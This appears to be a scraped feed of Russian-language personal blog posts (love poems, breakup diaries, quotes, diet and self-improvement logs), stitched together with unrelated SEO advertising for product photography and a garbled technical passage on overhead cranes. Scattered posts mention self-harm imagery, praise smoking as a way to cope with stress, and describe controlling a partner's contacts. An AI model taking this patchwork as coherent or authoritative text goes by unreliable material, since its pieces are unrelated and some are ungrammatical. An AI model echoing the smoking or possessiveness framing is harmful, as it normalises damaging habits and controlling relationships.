мне с тарца к тебе не подойти

и с крыльца

ни в объезд не проехать

ни на таран

я смотрю на тебя так как на новые ворота

смотрит баран

красные пятна на ковре

то ли моя кровь то ли твой сок томатный

ты высасываешь жизнь во мне

а я и не пытаюсь найти путь обратный

сейчас ты мой голос слышишь

пока в тишине лишь редкий гул машин

но почему-то мне не напишешь

отчего-то ты так решил

не беда не боись не сдохну

можешь не ставить и свечки

когда станешь последним вздохом

для меня - утопающей в речке

"- Солнце, чего всё время грустное?"

Такое впечатление, что только мы с ним верим в то, что мы разошлись. Начиная с Франика… Все, кто нас вместе виел впервые не верили, что мы не встречаемся. Вчера маме рассказывала за Львов и, что с его родителяи познакомилась, говорю, ей, что мы же разошлись 2 месяца назад, а мама мне говорит:"Что ты мне врешь?" Катя просто смотрела фото с Франика и говорит..Ага, конечно разошлись они, прям видно.

Но ведь оно так и есть. Как можно в это поверить

ты немного сошла с ума, что-то ждешь, опустив тихо веки и виною тому не зима, а нужда лишь в одном человеке.

ужа начали выставлять посты с предложения об открытках на новый год. и я тоже загорелась этой идеей) так что. прошу, пишите либо в коменты либо в лс свои адреса если хотите получить от меня весточку к новому году! очень рада буду всем, котятки мои)))

Есть такая категория мальчиков за 20, которые все еще кормят баб историями проодинокого волка, не способного на чувства, не способного любить. Он не "не способен любить", он просто напрягаться не хочет.

Как я люблю любить…
А Вы когда-нибудь забываете, когда любите что любите? Я - никогда. Это как зубная боль, только наоборот- наоборотная зубная боль. Только там ноет, а здесь и слова нет.
Какие они дикие дураки. Те, кто не любят сами не любят, будто дело в том чтоб тебя любили. Я не говорю, конечно, но встаёшь как в стену. Но Вы знаете, нет такой стены, которой бы я не пробила.
А Вы замечаете, как все они, даже самые целующие, даже самые, как будто любящие, так боятся сказать это слово? Как они его никогда не говорят? Мне один объяснял, что это грубо отстало, что зачем слова, когда есть дела, то есть поцелуи и так далее. А я ему: "Нет. Дело ещё ничего не доказывает. А слово-всё! "
Мне ведь только этого от человека и нужно. "Люблю" и больше ничего. Пусть потом как угодно не любит, что угодно делает, я делам не поверю. Потому что слово было. Я только этим словом и кормилась. Оттого так и отощала.
А какие они скупые, расчётливые, опасливые. Мне всегда хочется сказать: "Ты только скажи. Я проверять не буду". Но не говорят, потому что думают, что это жениться, связаться, не развязаться. "Если я первым скажу, то никогда уже первым не смогу уйти". А они и вторым не говорят, никоторым. Будто со мной можно не первым уйти. Я в жизни никогда не уходила первой. И сколько в жизни мне ещё Бог отпустит, первой не уйду. Я просто не могу. Я все делаю чтоб другой ушёл. Потому что мне первой уйти - легче перейти через собственный труп.
Какое страшное слово. Совсем мёртвое. Поняла. Это тот мёртвый, которого никто никогда не любил. Но вы знаете, для меня и такого мёртвого нет.
Я и внутри себя никогда не уходила первой. Никогда первой не переставала любить. Всегда до самой последней возможности. До самой последней капельки. Как когда в детстве пьёшь и уж жарко от пустого стакана, а ты все тянешь, тянешь, тянешь. И только собственный пар.
Вы будете смеяться, я расскажу вам одну короткую историю, в одном турне. Неважно кто, совсем молодой, и я безумно в него влюбилась. Он все вечера садился в первый ряд, и бедно одетый, не по деньгам садился. А по глазам. На третий вечер так на меня смотрел, что либо глаза выскочат, либо сам вскочит на сцену.Говорю, двигаюсь, а сама всё кошусь "Ну что? Ещё сидит". Только это нужно понять, это не был обычный мужской влюблённый, едящий взгляд. Он был почти мальчик. Это был пьющий взгляд. Он глядел как заворожённый. Точно я его каждым словом, как на нитке, как на нитке, как на канате притягивала. Это чувство должны знать русалки. А ещё скрипачи, вернее смычки и реки, и пожары. Что вот, вот вскочит в меня как в костёр. Я просто не знаю как доиграла. У меня всё время было такое чувство что в него, в эти глаза, оступлюсь. И когда я с ним за кулисами, за этими несчастными кулисами, поцеловалась, знаю что это ужасная пошлость, у меня не было ни одного чувства. Кроме одного. "Спасена". Это длилось страшно коротко, говорить нам было не о чем.Вначале я все говорила, говорила, говорила, а потом замолчала, потому что нельзя чтобы в ответ на мои слова только глаза, поцелуи.
И вот лежу я утром, до утром. Ещё сплю, уже не сплю. И все время себе что-то повторяю. Губами, словами. Вслушалась, и знаете что это было? "Ещё понравься. Ещё чуточку, минуточку понравься". Только вы не думайте, я не его, спящего, просила. Мы жили в разных местах и вообще… Я воздух просила. Может быть Бога просила. Ещё немножко вытянуть. Вытянула. Он не смог, я смогла. И никогда не узнал. И строгий отец, генерал в Москве, который не знает, что я играю. Я как будто бы у подруги, а то вдруг вслед поедет..
И никогда не забуду, вот это не наврала. Потому что любовь любовью, а справедливость справедливостью. Он не виноват, что он мне больше не нравится. Это не вина, а беда. Не его вина, а моя беда. Все равно, что разбить сервис и злиться, что не железный.

Я ей завидую. Ты ее так обожаешь

Когда тебе 15, тебе еще нужна драма в отношениях. Когда ты старше - нихрена никакая драма не нужна. Нужна адекватность, любовь, секс, деньги и ужин.

Как же мало людям надо..Им просто надо, чтобы их выслушать. И всё. Просто, чтобы их слушали.

И вот, что я поняла, что никто меня с интересом не слушал. Вот никто. И поэтому я пишу в блог.

Когда ты немножечко обалдел и куришь на кровати. Общажные будни ^^

В январе я увижу своего мужчину. Раньше это казалось чем-то нереальным, а теперь все это так близко, прям до невозможности. И я жду именно того времени, но и боюсь, ибо это, если так можно сказать, новый этап, который может либо перечеркнуть все к чертям, либо улучшить все до мнетебянехватания.

Я переживаю, что в январе, когда на мой порог наступит сессия и мой маленький ад, я сделаю что-то не так, что может все это сокрушить. И с каждым "думанием" все больше и больше этих самых страхов, аля, а что если..

Жду того момента, когда я буду засыпать со своим мужчиной в одной постели и закидывать на него правую ногу. И вот тогда пусть все летит в тар-тарары.

Как прекрасен мир, являющийся во снах: от загадочных глубин океана, до сверкающих звезд вселенной..

— 15 кг за полтора месяца. продолжаем

Не могу уснуть, потому что в голову теперь лезут ужасные мысли.

Ты победил. Выиграл слышишь. Играют дифирамбы, летают фейерверки и сотня, нет тысячу аплодисментов. Я в первом ряду аплодирую стоя. Сна нет. Аппетита тоже. Есть я, ночь и сигареты. Черт я же бросила. Бросила их так же как и все мысли о тебе и вернулась к ним по кругу. Хочется кричать, бить посуду, бить кулаками в стену, но я молчу. Сижу строчу пост и молчу. Я думала я вышла победителем, а в итоге как чаще всего и случается, сжираю свои чувства своими же мыслями. Как дым едких, гадкий, растекаюсь внутри и застреваю где то между. Тошнота в горле, просто давно не курила. И эта боль. Боль от нежелания возвращаться к тебе и от желания быть с тобой, боль от этих мыслей что ты вновь обманул. Только правила игра сменились и игра стала честная, я знаю правду. И знаете те кто говорят что лучше горькая правда, ребят вы сумасшедшие, вы чёртовы мазохисты. Никогда, ни за что просто в жизни я не подпишусь на это снова. Это вскрывает всю грудную клетку, знать что человек которого ты любила трахает тебе мозг а параллельно ещё и кого то. Иди те лесом со своей правдой я даже представить не могу что теперь с этим делать. Я не пишу ему сама, я не рассказываю ничего, я не общаюсь с ним. Не могу. Не представляю как. Сижу реву и думаю как вернуть на место своё душевное состояние потому что я не понимаю даже что со мной и какого хрена мне так больно. Больно не тогда а сейчас когда я не отвечаю ему и не пишу. Когда я закрылась от него гдухой стеной, почему это причиняет моему сознанию столько боли. Как мне общаться с ним, что мне делать со всем этим. Во снах ив всегда были счастливы.

Today is the first day of the week, when we are going to write out Midterm tests. I'm so nervous and excited at the same time. I have to remember all things we learned. So this night is going to be complicated.

как же невыносимо я скучаю по нему… хоть бы кто знал…иногда готова отдать все в своей жизни, чтобы на минутку его обнять. осталось еще немного и снова будем рядом, и я надеюсь, у нас как и раньше все будет хорошо, и с каждым днем я буду все счастливее и счастливее, спасибо, что в моей жизни есть такие люди как он.

Представляете, сегодня девочка, с которой я давно конфликтую сказала за что так меня ненавидит. Оказывается причина этой ненависти в том, что мне, по её мнению, у меня лёгкая жизнь и все даётся легко, за то, что меня любят окружающие люди. И вы знаете, я задумалась… Пусть мою жизнь легкой назвать нельзя, по той причине что с 12 лет я ДОЛЖНА была быть сильной ради мамы, чтобы она не плакала изза меня. Ведь в мои 12 мой папа стал инвалидом. Из здорового молодого мужчины с грандиозными планами на жизнь за пол года превратился в анатомическое пособие весом 36 кг (спасибо 4 операции за пол года, 2 из которых закончились клинической смертью) затем в 16 лет его проподная язва, которую, мы боялись, что он не перенесёт, и, в завершение, в мои 17 ему ампутировали правую ногу выше колена. Другой вопрос, что об этом знают только самые близкие мне люди, остальным я стараюсь не говорить, что мой папа инвалид. Нет, я не стесняюсь этого, просто не хочу, чтоб меня жалели. Но я отвлеклась, меня действительно многие любят, на работе, одногруппники, друзья, родные. И я даже не обращаю на это внимания. Я просто люблю их в ответ. Так почему это все надо ставить мне в вину и ненавидеть за это? Я не понимаю

заходя в свой любимый бар герда видит кая, но держится молодцом -

заказывает чай с лимоном, мятой и чабрецом.

выпивает, и по привычке пытается до бармена дотянуться,

чтобы виски со льдом,

в олдфэшн'е с толстым дном

ноги ватные и не слушаются

пальцы не гнутся

они делают вид, что друг друга не знают. или не замечают.

у нее зрачки от ненависти дичают -

она представляет, как он в эту снежную бабу ночами кончает.

еще один виски

еще один виски

и

чаю. (с)

я тебя люблю

Вот у меня на руке — на ладони — линии. И я знаю, что здесь есть линия жизни, линия сердца, линия ума. Я ничего в этом не понимаю, я не умею их читать. Но если в них поверить, то значит, на моей ладони можно найти моих друзей, которые пожимали мою руку. Здесь есть мои сильные переживания. Мои события. Большие события пролегли глубже, маленькие почти не видны. Где-то здесь — мои детские мечты. Здесь — мои главные решения. Здесь даже то, что мне сделать не удалось. Здесь то, чем я горжусь. И то, за что мне стыдно. Посмотри: здесь моя жизнь. В этих линиях.
Возьми меня за руку.

И если поверить, что все эти черточки и линии не случайны, то среди них можно найти год, день и час, когда я родился. Мой родной город, мои первые шаги, моих родителей, мою первую робкую любовь, мои страдания и радости, мою ложь, которую мне удалось скрыть. И боль от того, что обманывали меня.
Здесь дорогие мне люди, здесь дела, которые мне удались и те, на которые сил не хватило. Здесь мною прожитое. И даже говорят, что среди этих линий есть будущее. А если это так… Если это так, то где-то среди этих линий уже есть ты. Я не умею читать эти линии. Вот они. Здесь я весь.
Возьми меня за руку.

Е. Гришковец.

Я пытаюсь убежать сама от себя. Когда я в другом городе, у меня совсем другие мысли, мне хорошо. Когда я дома. Это утопическое ощущение..в том смысле, что я как будто тону. Надо просто сесть и в себе разобраться. Я пытаюсь… Пока ехала в поезде, я пыталась всё разобрать. Пыталась разобратся в себе. Не могу. Я знаю как я хочу себя ощущать, но не знаю как это сделать

давно меня не накрывало так.. в голове мыслимысли, и что с них? ты не рядом, я не нужна тебе, у тебя развлечения, девушки, наверное, и не вспоминаешь. сейчас бы поговорить, как раньше, потом просто обнять тебя и просидеть так, сколько угодно. а я как? да никак, робота-дом и наоборот. когда был рядом ты все было ярче, сейчас- даже солнца не видно. ты все решил, похоже. хочу к тебе.. не могу перестать думать. прости за все.. за мой сложный характер, за непонимание, за мою непунктуальность, за все, на что ты злился. ты любимый, понмни

Да, я скучаю. Но не по тебе. А по тому Никите, что сидит где-то внутри гниющего тебя. Помочь тебе в субботу? Ладно. Только не пиши мне больше пьяный. Или пиши?

23 привычки, благодаря которым вы станете лучше и кардинально "прокачаете" свою жизнь! 1. Начните изучать иностранный язык. Только учите его каждый день, хотя бы по полчаса. 2. Через день прибирайтесь в своей комнате, выкидывая ненужный хлам. 3. Откажитесь от компьютерных игр. Они портят восприятие мира и превращают нормальных людей в потерянных. 4. Напрочь откажитесь от фастфуда и другой вредной пищи. Начните питаться правильно. 5. Делайте утреннюю зарядку. 6. Приучите себя каждый день засыпать и просыпаться в одно и то же время. 7. Принимайте еду в одно и то же время - организм скажет вам за это спасибо. 8. Спите не менее 8 часов. Это очень важно для самочувствия. 9. Экономьте деньги. Начните откладывать на путешествие. Поездка в другие страны развивает кругозор. Лучше путешествуйте дикарями, без тур-агенств. 10. Думайте только о хорошем - всё обязательно сбудется! Чаще улыбайтесь. 11. Заведите дневник своих успехов. По вечерам отмечайте свои достижения. Любые, даже самые маленькие. 12. Начните читать правильные книги, меняющие жизнь. 13. Посвящайте интернету не более часа в день. 14. За 10-15 минут до еды выпивайте по стакану чистой воды. Пейте в день не менее 2 л. воды. Это улучшает внутренние процессы. Вы будете чувствовать себя лучше. 15. Займитесь своим телом. Сжигайте жир и наращивайте массу мышц. 16. Найдите картинки своих целей и наклейте их на видном месте. Визуализация очень важна. 17. Выпишите на бумажку все "висяки" (дела, которые давно нужно сделать и которые не дают вам покоя). Разделайтесь с ними, и жить станет легче. Проверено. 18. Откажитесь от нецензурных выражений и слов-паразитов. В общем, следите за своей речью. 19. Делайте по одному маленькому доброму делу каждый день. Делая добро не ждите ничего взамен. Добро вернется в другом. 20. Старайтесь каждый день кушать фрукты, овощи, ягоды. Замените привычное картофельное пюре и макароны свежими овощами. 21. Ходите прямо. Следите за осанкой. 22. Откажитесь от всевозможных вредных привычек. Курение и алкоголь вызывает рак и другие болезни. Зачем вам обрекать себя на несчастную жизнь? 23. Говорите людям приятные слова и комплименты. Будет прекрасно, если это войдет в привычку.

мне давно не было так.. так плохо и так отваратительно. я скучаю и не могу без тебя. я думаю об этом каждую минуту, каждую секунду. не хочу верить в то, что ты сдался.

я тебя люблю, родной..

как бы я не старалась, а полностью освободиться от предрассудков у меня не выходит. я всего на два года старше, а чувствую себя эдакой богатой престарелой мадам, которая заводит себе любовника чуть ли не в три раза моложе себя. разница только в том, что я никого не завожу. и вообще не в курсе, почему мы перестали общаться. и совершенно не ебу, почему я до сих пор мусолю эту своё недоделанное чувство. это уже болезнь, наверное.

вспоминая Баянаул - 30.05.2015

из крайности в крайность, несколько дней назад я ела йогурты без добавок, делала зарядку и пила по восемь стаканов воды в день, а сегодня я купила большую коробку орео, шоколад с попкорном, кока-кольным мармеладом и взрывающейся карамелью, съела сырный фастфут и выпила несколько больших кружек с кофе, сахаром и сиропом.

собственно, в этом описании моего питания — вся моя жизнь, если считать каждый продукт какой-нибудь метафорой. единственная проблема — моя аллергия от переедания. мне нужно всего и много, только вот потом мне плохо от этого "много" и "всего". парадокс.

"Мы ведь почти всю жизнь не можем произнести самые нужные слова. Говорим иносказательно, записками, оригами. И вот я просто и ясно говорю: я люблю вас обоих, очень люблю, и обещайте, что будете говорить моему сыну, как вы любите его, каждый день и пусть знает, какое счастье быть свободными, это правда!"

Michael Scofield©

Prison Break, 2005-2009

если дальше так пойдет, начну слушать girls марины энд зе даймондс не иронично. я в шаге от употребления слова 'курятник', настолько все плохо. или настолько я слаба.

Кафельный пол, на стенах трещины,
водопроводная грязь.
Я бы любил тебя, даже если бы ты
не родилась.

Даже если бы
ты появилась на свет
мужчиной,
чудовищем,
дьяволом,
деревом,
птицей,
одной из комет,
стрелой,
отчаяньем,
яростью,
стихией, что прячет в недрах Земля -
я бы любил тебя.

Даже если бы
ты не была
моей,
а была
подневольной,
чьей-то женой,
подарившей ему дочерей,
сыновей.
Обезумевшей,
слабой,
смертельно больной,
собиравшей в ладони искры огня -
я бы любил тебя.

Даже если бы ты создана,
ветром,
пеплом,
порохом,
бурей в пустыне,
островом,
океаном,
планетой,
городом,
той, никогда не любившей меня -
я бы любил тебя.

Кафельный пол, на стенах трещины,
тусклый, мигающий свет.

Я буду любить тебя, даже если

даже если
тебя
нет.

|Emilia Clarke by Lachlan Bailey|

Dior Magazine

2015

спокойна и не опасна для общества только когда слушаю музыку (всегда бы так). весь день представляла объекты разной степени остроты в непосредственной близости от своей кожи и чувствовала такую яростную силу в себе, что могла бы гнуть металл, а сейчас лежу в темноте, слушаю, и мне хорошо

Неадекватна егоїстична тварюка.

gifs by tumblr, ВИДЕО Х, фото х

(фото кликабельны)

асгардийцы явно любят котиков. сначала у Тома был фотосет с серым красавчиком х, теперь вот у Криса пушистики. котики с котиками :))

Небо совсем белое и линия горизонта размывается там, где снег сливается с этой слепящей белизной. Иногда мысли текут плавным потоком, но чаще они запутанный лабиринт, который я сама и построила, и скрыла за всеми бессмысленными поворотами что-то важное, не сколько от других, сколько от себя. В такие дни как этот я думаю о Кафке, о его волнующем имени, о его неисчерпаемом конфликте с собой и отцом, о сложности людских душ, о непостижимости, и о том, как все мы далеки, как галактики за миллиарды световых лет друг от друга, о единичности, одиночестве. И одевая в такой день серо-голубой джемпер я чувствую соответствие.
Голые острые ветки - причудливый равнодушный узор, случайно придуманный художником идеалистом, это могло бы вдохновлять, если бы не было столь привычной картиной безнадежности. В дни подобные сегодняшнему мне нравится Шекспир, его первородность, простота и элитарность, не глупые комедии, разумеется, но «Кориолан», «Гамлет», «Генрих V» и «Макбет», их жестокая красота. В дни подобные этому мне нравятся трагедии; что-то темное и злое завладевает разумом и душой, что должно бы напугать и отпустить, но это оказывается самым близким чувством к тому, что глупцы упоминая подразумевают под гармонией.
«Мне нравятся бездушные тела, потому что душа не здесь.»
Это дает объяснение существующей действительности.

в последнее время плачу только от осознания бесконечного уродства внутри себя. и не ясно, правда ли это, или borderline 'badness' self-image, или еще что

От меня активненько так отписываются…
Хорошо, простите, что я вдруг нашла счастье и утешение в корейской культуре и корейских парнях. Как-то так получилось.
Давно ничего не пишу личного, потому что попросту нечего или не хочется. Для этих целей хватает твиттера.

Однажды я любила тебя так,
Что встречала в каждом прохожем,
Замечала в нависшем над городом небе,
Дольше стояла у каждой станции, надеясь встретить.
Но сейчас, проходящие мимо – разные,
А небо - всего лишь тучи и облака.
И с каждым днем мне продолжает казаться,
Что однажды я действительно кого-то любила.
Но не тебя.

октябрьское, блокнотное

Даже не знаю, что нравится мне больше - слова или иллюстрации.

читаю статью Набокова о мещанстве, начинаю смутно подозревать, что сама - мещанка. 'поддельный ум, поддельная красота'

Меня так же сильно радует то, что мои слова о самосовершенствовании не остаются только словами, наконец-то я взялась за английский. То, что я так долго откладывала, повторение, увеличение словарного запаса.. Я наконец-то этим занялась. Надеюсь, в этот раз я буду совершенствовать знание языка не насилуя себя, а получая удовольствие. Буду записывать сюда проделанную работу по совершенствованию себя каждый день, так мне будет проще проследить собственный рост и упущения.

я злая, колючая, высокомерная и невыносимая в такие минуты, но ничего поделать с собой не могу (и не хочу)

Интернет-магазин без качественных фотографий товара едва ли способен продавать. На что покупатели обращают внимание в первую очередь? Правильный ответ очевиден: на красивую картинку. Поэтому предметная фотосъемка направлена на решение важной задачи: представление продукции наилучшим образом.

Предметная фотосъемка для каталога продукции

Степень конкуренции в виртуальном пространстве увеличивается ежедневно, и если еще совсем недавно для динамичного развития торговли можно было просто наполнить сайт любыми изображениями, то сегодня оставаться на этом уровне уже нельзя..Достаточно провести сравнительный анализ поведения посетителей подобных ресурсов для того чтобы сделать вывод о том, что они гораздо чаще задерживаются и делают онлайн-покупки в там, где продукция представлена фотографиями очень хорошего качества. Для их выполнения требуется профессиональная фотоаппаратура и студийное оборудование. Однако, даже этого не достаточно - отличные снимки гарантированно выполнит только грамотный и талантливый мастер, досконально владеющий техниками фотографирования и навыками цифровой обработки. Создание фотографий для каталога начинается с предметной фотосъемки, которая используется для демонстрации таких товаров как обувь, одежда, аксессуары и т. д. Для лучшего результата отснятый материал дополнительно обрабатывается с помощью компьютерных программ, позволяющих корректировать контраст, чистить блики, менять фон, создавать коллажи.

Каталожная предметная фотосъемка

Клиенты интернет-магазинов не могут подержать и пощупать товар.Им приходится его анализировать и выбирать на основании увиденной картинки, поэтому она должна максимально выгодно передавать все его основные характеристики: форму, цвет, фактуру, конструктивные особенности модели. Фотографы, специализирующиеся в этой сфере должны учитывать основы маркетинга и психологии торговли. Только правильное использование всех этих составляющих позволяет не только предать индивидуальность товара, но вызвать такие эмоции, которые стимулируют его к совершению покупки. Достойно представленные товары, обязательно получат заслуженную оценку покупателей, что незамедлительно скажется на росте объема продаж. Опытный руководитель не станет игнорировать столь доступный и результативный инструмент борьбы за потребителя, как презентация и реклама, тем более, что этот способ способствует формированию постоянной клиентской базы и ее расширению. Подробнее на сайте компании brandpics

"Одиночество обусловлено не отсутствием людей вокруг, а невозможностью говорить с людьми о том, что кажется тебе существенным, или неприемлемостью твоих воззрений для других "
цитата, с которой я сталкиваюсь не в первый раз, и конечно, соглашаюсь с ней.
ничего мудрёного.
только раньще казалось, что это очень грустно и обидно, одиночество такое вот, а сейчас я узнала одну не очень клёвую штуку.
вокруг тебя могут быть люди, говорить с которыми можно о том что кажется тебе существенным, и что приемлемо для других как и для тебя, но тем не менее ты не можешь.
не знаю как объяснить просто янашла то самое, что отчасти меня убивает.
есть люди, которые могут порвать это круг одиочества, ты точно знаешь что вот они, то что надо, что это именно то, но не получается.
человек, который может тебя понять, тот самый, который нужен, то ты не можешь с ним общаться в ходе каких-либо причин.
это так обидно, это так непередаваемо обидно, что просто хочется кричать или рушить всё вокруг. то, что нужно тебе как утопающему, совсем рядом, рукой подать- ан нет.

pastelremedyrebloggedaddictivities

сижу и спорю с чуваком по поводу голодных игр

он говорит говно

а я яросно отбиваю свою любовь

Случайные встречи где попало не случайные вовсе. Я их так вообще не воспринимаю. Я просто столько хожу молю небо о них, что нихера они не случайные.

мир наполнен красотой, где от людей у меня рвота.

Камерон Диаз. Не знаю, но почему-то не люблю её.

Ура ура, обо мне позаботились. В среду и четверг у меня выходные. Я так счастлива. Все подпортила ссора с родителями, дождаться не могу того момента когда уже уеду в США. Вот правда, ещё целый месяц ожидания. Как же я хочу чтобы мне открыли визу, надеюсь, мои желания материализуются и я просто уеду от всего этого как можно дальше. Туда, где меня точно не достанут. Для меня это будет высшее наслаждение. Не важно, что меня ждет там, хуже того, что есть тут уж точно не будет.

Закончилась еще одна история. Если составлять список любимых подростковых историй, то Голодные игры у меня стоят на 2м месте. С книгами и фильмами у меня связано много хороших воспоминания. Я хорошо помню, когда примерно 4,5 года назад прочитала первую книгу. Это было для меня огромным открытием. До этого я не читала ничего подобного. И как бы символично это не было, но о книге узнала именно на вьюи.
2 дня назад я сходила в кинотеатр на последний фильм. Это было прекрасно. На данный момент я прочитала много отзывов и почти все сходятся в одном мнении. "Голодные игры: Сойка-пересмешница. Часть II" - это одна из лучший экранизаций. Все ключевые моменты были сохранены, прекрасная атмосфера, отличный саундтрек и превосходная актерская игра. Были некоторые минусы для меня, но они не столь значительны, что не портят всего впечатления от просмотра.
Очень жаль прощаться. Но это неизбежно. Это была замечательная история. Обязательно буду перечитывать книги и пересматривать фильмы.

А ещё буду безумно рада с Вами пообщаться, дорогие. Поэтому можете писать мне здесь, на вьюи, можете кинуть ссылки и я сама напишу Вам в вк. Всегда рада выслушать, поддержать или просто поболтать.

vagabond-, ойой привет: 3

В какой момент привычка к курению становится таковой, никто нормально сказать не может.Все эти "вредно для здоровья", "это не эстетично", "девушкам сигареты не идут" методично посылаются нахрен.Почему?Потому что когда у тебя дело - пиздец, день - пиздец, и жизнь туда же, когда руки от нервов мелко дрожат, когда ты 24/7 напряжен до предела- густой дым, продирающий горло, становится охренеть каким антидепрессантом.Потому что пуская никотин в легкие ты охуительно очищаешь собственные, сваленные в кучу, мысли.

Все таки я не достоин её, видимо. Как бы я не пытася меняться, я все равно буду собственником. Я не могу давать ей общаться с другими мужиками. Меня вымораживает это. Когда она мне высказывала про мое общение с противоположным полом- я должен был молчать в тряпочку, а когда я ей говорю, то я-параноик.
Я перестал общаться с девушками, даже со своей лучшей подругой, с которой мы дружили со школы.

Мой максимум- это попросить ручку на паре, а, ну да, я забываю про ее подруг, которые все поголовно считают, что я не прав. Ведь я запрещаю ей общаться с мужиками.

Сейчас при попытке выяснить все, она опять начала истерить, в итоге ее мама вырвала у нее трубку и коротко и ясно мне объяснила, чтоб я не доканывал Лизу. Отлично, больше не побеспокою.

Коротко о главном (!!!)
Как я и говорила, я залегла на дно. На своё личное, уютное дно, которое мне нравится. Мне хорошо и спокойно. Ничто и никто не тревожит мою душу. Так и должно быть, именно этого я и хотела. Ещё раз повторяю - всё зависит от нас самих. Я не сломалась, я не разбилась, наоборот - я поднялась. Осознав и осмыслив многие вещи, жить мне стало намного проще и легче. Я не ищу новых людей - они приходят сами, я никого не держу и не собираюсь больше держать - мои люди всё равно далеко не уйдут.
У нас выпал первый снег, кстати, я впервые этому рада. Он ещё больше придаёт мне душевного спокойствия и умиротворённости. Я точно знаю, что всё будет лучше некуда, а пока что я продолжаю прибывать в спячке, что ли, и наслаждаться ею. А ещё, чудо какое-то, но магия вьюи и правда работает! После реблога мне написал человек, от которого я ждала сообщения, и это уже не в первый раз. Так что, любим и ценим вьюи за его помощь.
Любите и берегите себя. Это самое важное.

Захотелось экзотики - сходили купили шаурмы. за милу душу слопали запивая колой. дрянь, но иногда хочется.

Поговорили, решили бороться с проблемами вместе. пока втягиваемся в доверие заново, но как-то всё равно гадко на душе. очешуительный секс и ласки.

сидим слушаем Любэ-Ты неси меня река, немного душа расцветает.

странности просто.

Какие бы стычки не происходили, я чувствую тепло.ее тепло.и мне сразу так хорошо становится.так тепло на душе.улыбка сама собой появляется на лице, когда я думаю о ней или вспоминаю все наши милые и приятные моментики.Она такой мой любимый и обнимательный человечек.мурр. Котеночек мой любимый.Моя любимая девочка.Очень сильно скучаю.

когда ты улыбаешься, ноги подгибаются

тело рассыпается, планеты взрываются

Так.
Просто даже не знаю с чего начать. Хочу написать и забыть об этом.

Завтра др одноклассницы, человека, с которым я "живу" вместе. И как и полагается мы будет скидываться ей на подарок. Все бы ничего, но мне до слез обидно, что если у тебя др во время учебы, то подарок мы тебе подарим, а уж если тебе не повезло и у тебя др летом, то ты отделаешься только поздравлением вк. Вот честно.. Это ужасно. Лучше б вообще такого не было. Что за несправедливость такая?

На этих выходным отрабатывали физру, нужно было поработать на соревнованиях по легкой атлетике. Там был один парень, сын нашей преподавательницы. Он вообще красавчик. Не могла оторвать от него глаз :D Да и дочь у нее красотка-спортсменка.

Права так и не получила, потому что трусиха и боюсь все начинать сначала. Боюсь, что не получится.

У меня когда-нибудь будет здесь что-нибудь хорошее написано? Приятное?

Может у меня просто недостаток любви в организме? Думайте, что хотите. Но мне просто не хватает нежности. Вокруг только сарказм, зло и зависть. Я такая же. Не я. Не настоящая. Непонятно кто.

Хотя может мне просто это кажется?

Хочу приятных изменений в жизни.

Почему все так однообразно?

Ну вот и прошло время для моей программы 100 days to success. Эта неделя на постановку целей, хотя некоторые уже поставлены. К примеру, заниматься спортом 2 и более раз в неделю. Отказаться от сладкого. Делать раз в неделю волшебную маску для волос. Проверю на себе. Девочки, мои знакомые, делали эту маску по году. У них волосы до талии и ниже!!!! Можете себе представить? У меня уже идёт 3 или 4 неделя. Её нужно делать именно раз в неделю. 5-7 раз в неделю мазать брови касторовым маслом. Прочитать 5 книг по выбору (выбор ещё не сделала). Навести порядок везде где только можно: в компьютере, в почте, в одежде, в обуви. Написать три научных статьи и много другое. О чем позже напишу очень подробно. Будут и денежные цели - допустим, купить себе сумку, выбираю между FURLA, MK, DKNY. Посмотрю ещё может guess, хотя не очень хотелось бы. Также будет один интересный пункт - сделать что-то необычное для С. Может это подарок, а может какое-то свидание, что-то оригинальное и крутое. Ещё пункт по здоровью - пройти гастроэнтеролога, окулиста и дерматолога. Я намерена вылечить кожу. Все, больше тайн не раскрываю, лучше все показать в структурированном виде. Итак, сегодня. Ну во-первых, я действительно не ела сладкое. Ела творожную запеканку, но она не в счёт, там 10 гр белка на 100 гр, 2 или 3 гр жиров и 17 гр углеводов, На завтрак была каша с орехами и мёдом, два тоста цельнозерновых с маслом. Чай с лимоном, конечно же! Затем на работе был безкофеиновый кофе - пью редко, но сегодня засыпала просто. И эта творожная запеканка. Банан. На обед была курица и немножко картошки пюре. Да и вообще малюсенькая порция была-у меня маленький контейнер. Мандарин. И в Уни я съела сендвич из правильного хлеба, с бужениной(знаю что не самое полезное, но больше ничего не было), листьями салата, помидором и соусом барбекю. Это было в 17.30. И спустя 2 часа была очень активная тренировка. Сейчас еду домой. Очень довольная таким активным началом надели. Может кто-то тоже хочет начать свои 100 дней? Давайте! Буду рада, ведь это так круто идти к своим целям. Пусть это будут маленькие шажки, но если они сделают Вашу жизнь лучше, то надо действовать.

Тебе без меня никак, ни холодно, ни жарко

Девоньки, объясните, как ?
Как вы находите время на занятие вещами приятными для души?

Вот уже 20:46, я все еще работаю работу, которая приносит деньги, а в планах закончить дела для работы, которая принесет удовольствие…

Когда я заканчиваю со всей грудой дел, я напиваюсь в гавно, и мои выходные куда то так "вжик".

Что то со мной не так.

Тяжело быть женщиной? Нет, просто тяжело быть человеком. Мальчикам также больно, как и девочкам. Если тебя предали - тебе больно. Если тебя не предали - ты не в теме. И неважно кто ты.

Однобалочные мостовые краны (кран-балки) имеют двухтавровую балку, которая приклепляется к концевым (поперечным) балкам, снабженным передвижными колесами. При больших пролетах главная мостовая балка усиливается фермами.В виде подъемной каретки тут применяется электрическая или ручная таль, перемещающаяся по нижней части балки.

Мостовой кран устроен из грузо-подъемной каретки, перемещающейся по кран балке и моста, передвигаемой по подвесным рельсам,. На заводе находят применение одно-, 2-ух- пролетные подвесные краны. Опорный кран передвигается по монорельсам, монтированным на железобетонных и металлических крановых балках. Однобалочные и двухбалочные краны бывают опорными или подвесными. Среди конструкций мостовых кранов есть мостовые краны двухбалочные и однобалочные с ручным и электрическим приводом, с кабиной управления и управляемые с пола (земли) или пульта управления. Подвесной кран движется по нижним ступенькам двутавровых балок, расположенных под цокольных поясами трапециидальных ферм.

Мостовые краны производятся с гибкой (на тросах), жесткой подвеской транспортируемого груза. С жесткой подвеской груза выполняются колодцевые краны, краны с лапами (пратцен-краны), мульдозавалочные, краны для сортирования слитков (стрипперные) и металлургические краны, используемые для обслуживания технологического процесса в металлургическом производстве и другие мостовые краны, рабочая деталь крепко связанная с передвижной тележкой с помощью шахты и передвигается по вертикальным колоннам. Исходя от типа грузозахватного блока мостовые краны в свою очередь разбиваются на магнитные, крюковые (с одним, двумя и более крюками) и грейферные.

